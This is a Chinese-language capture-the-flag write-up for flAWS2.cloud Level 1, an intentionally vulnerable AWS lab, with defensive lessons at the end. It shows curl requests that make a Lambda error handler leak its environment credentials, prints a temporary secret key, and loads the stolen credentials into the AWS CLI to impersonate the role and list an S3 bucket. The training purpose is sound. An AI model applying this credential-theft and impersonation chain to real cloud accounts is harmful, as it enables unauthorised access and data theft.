> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# flAWS2.cloud Level 1 Writeup — Lambda 環境變數洩漏與 S3 未授權存取
- URL: https://taiwanding.com/flaws2-cloud-level-1-writeup-lambda-huan-jing-bian-shu-xie-lou-yu-s3-wei-shou-quan-cun-qu/
- Published: 2026-03-05T07:27:45.000Z
- Updated: 2026-07-15T02:50:28.000Z
- Author: Kevin Chen
- Tags: cloud, #flaws2.cloud

📚 系列文章 · flAWS2.cloud

1. ▸ Level 1：Lambda 環境變數洩漏 & S3 （本篇）
2. [Level 2：ECR 權限 & Docker Image 洩漏](https://taiwanding.com/flaws2-cloud-level-2-writeup-ecr-kai-fang-quan-xian-yu-docker-image-ji-min-zi-xun-xie-lou/)

> **靶場**：[flAWS2.cloud](http://flaws2.cloud/?ref=taiwanding.com) — Attacker Path  
> **難度**：★☆☆☆☆（入門）  
> **涉及服務**：API Gateway、AWS Lambda、S3

## 0x00 題目概述

Level 1 的頁面上有一個 PIN 輸入框，要求輸入一組 100 位數的正確 PIN 碼，題目明確指出暴力破解不可行，因此必須從 AWS 雲端服務本身找到突破口。

## 0x01 偵察 — 原始碼分析

先觀察網頁原始碼：

```bash
curl -s http://level1.flaws2.cloud/

```

關鍵發現有兩個：

**1\. Client-side JavaScript 驗證**

```javascript
function validateForm() {
    var code = document.forms["myForm"]["code"].value;
    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
        alert("Code must be a number");
        return false;
    }
}

```

這段 JS 只驗證輸入是否為數字，用 `curl` 直接送 request 即可繞過。

**2\. 表單 action 指向 API Gateway + Lambda**

```html
<form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" ...>

```

後端架構很明確：API Gateway → Lambda function。

## 0x02 攻擊 — 觸發 Lambda Error Disclosure

先送一個正常請求確認回應行為：

```bash
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=1234"

```

回應為空（302 redirect 到錯誤頁面），接著繞過 client-side 驗證，送入非數字值：

```bash
curl -s "https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=abc"

```

Lambda function 的 error handling 直接將**整個執行環境的環境變數**傾倒出來：

```
Error, malformed input
{"AWS_LAMBDA_FUNCTION_VERSION":"$LATEST",
 "AWS_ACCESS_KEY_ID":"ASIA...",
 "AWS_SESSION_TOKEN":"IQoJb3JpZ2luX2Vj...",
 "AWS_SECRET_ACCESS_KEY":"E2y8...",
 "AWS_DEFAULT_REGION":"us-east-1",
 "AWS_LAMBDA_FUNCTION_NAME":"level1",
 ...}

```

拿到三個關鍵值：

| 欄位                       | 說明                                |
| ------------------------ | --------------------------------- |
| AWS\_ACCESS\_KEY\_ID     | 以 ASIA 開頭，代表這是 STS 臨時 credentials |
| AWS\_SECRET\_ACCESS\_KEY | Secret Key                        |
| AWS\_SESSION\_TOKEN      | Session Token（臨時憑證必須搭配）           |

## 0x03 利用 — 冒用 Lambda 身份存取 S3

將洩漏的 credentials 設定為 AWS CLI profile：

```bash
aws configure set aws_access_key_id ASIAZQNB3KHGJCOCXPGM --profile flaws2
aws configure set aws_secret_access_key "E2y81/8EtlVmOw/8WYCV8+e5O5UpYTi1DR15zOsi" --profile flaws2
aws configure set aws_session_token "IQoJb3JpZ2luX2Vj..." --profile flaws2
aws configure set region us-east-1 --profile flaws2

```

確認身份：

```bash
$ aws sts get-caller-identity --profile flaws2
{
    "UserId": "AROAIBATWWYQXZTTALNCE:level1",
    "Account": "653711331788",
    "Arn": "arn:aws:sts::653711331788:assumed-role/level1/level1"
}

```

我們現在是 `level1` Lambda 的 execution role，嘗試列舉 S3：

```bash
$ aws s3 ls --profile flaws2
# AccessDenied — 沒有 ListAllMyBuckets 權限

```

但我們已知網站域名，直接指定 bucket 名稱：

```bash
$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2
                           PRE img/
2018-11-21 04:55:05      17102 favicon.ico
2018-11-21 10:00:22       1905 hint1.htm
2018-11-21 10:00:22       2226 hint2.htm
2018-11-21 10:00:22       2536 hint3.htm
2018-11-21 10:00:23       2460 hint4.htm
2018-11-21 10:00:17       3000 index.htm
2018-11-21 10:00:17       1899 secret-redacted.html

```

發現隱藏的 `redacted.html`，存取即可進入 Level 2：

```
http://level1.flaws2.cloud/secret-redacted.html

```

## 0x04 攻擊鏈總結

```
Client-side JS Bypass（送入非數字）
        ↓
Lambda Error Handler 洩漏環境變數
        ↓
取得 STS 臨時 Credentials（Access Key + Secret + Token）
        ↓
冒用 Lambda Execution Role 身份
        ↓
列舉 S3 Bucket 內容
        ↓
發現隱藏的 secret HTML → 過關

```

## 0x05 Lessons Learned

### 1\. Lambda 環境變數洩漏

EC2 透過 metadata service（`169.254.169.254`）取得 IAM role credentials，而 Lambda 則是透過環境變數，開發者在 debug 時經常在 error handler 中 dump 環境變數，這在 production 環境中是極度危險的，因為 `AWS_ACCESS_KEY_ID`、`AWS_SECRET_ACCESS_KEY`、`AWS_SESSION_TOKEN` 都存在環境變數裡。

### 2\. IAM 過度授權（Least Privilege 違反）

這個 Lambda 的 execution role 被授予了列舉 S3 bucket 內容的權限，但它的功能只是驗證 PIN 碼，正確做法是遵循**最小權限原則（Least Privilege）**，只給予 Lambda 完成任務所需的最低限度權限，可以搭配 AWS CloudTrail + CloudTracker 或 AWS Access Advisor + RepoKid 來識別過度授權。

### 3\. 不要只依賴 Client-side 驗證

這題的輸入驗證只在 JavaScript 端執行，用 `curl` 即可完全繞過，在 Serverless 架構中，請求從 client 經過 API Gateway 再到 Lambda，每一層都不應假設上游已經做過驗證，**每個元件都應該獨立驗證輸入**。

### 4\. Error Handling 的安全原則

- **不要在 production 回傳 stack trace 或環境變數**
- 使用自定義 error response，只回傳必要的錯誤資訊
- 將詳細的 debug 資訊記錄到 CloudWatch Logs，而非直接回傳給使用者